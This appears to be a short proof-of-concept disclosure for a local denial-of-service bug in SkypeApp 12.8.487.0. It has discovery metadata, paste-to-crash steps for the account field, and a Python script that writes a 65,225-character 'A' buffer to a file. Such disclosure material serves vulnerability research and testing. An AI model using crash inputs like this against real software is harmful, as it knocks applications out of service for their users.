# Exploit Title: SkypeApp 12.8.487.0 - 'Cuenta de Skype o Microsoft' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-08-23
# Vendor Homepage: https://www.skype.com/es/home/
# Tested Version: 12.8.487.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
 
# Steps to Produce the Crash: 
# 1.- Run python code : python SkypeApp_12.8.487.0.py
# 2.- Open SkypeApp_12.8.487.0.txt and copy content to clipboard
# 3.- Open SkypeApp.exe
# 4.- Paste ClipBoard on "Cuenta de Skype o Microsoft"
# 5.- Siguiente
# 6.- Crashed
 
#!/usr/bin/env python
  
buffer = "\x41" * 65225
f = open ("SkypeApp_12.8.487.0.txt", "w")
f.write(buffer)
f.close()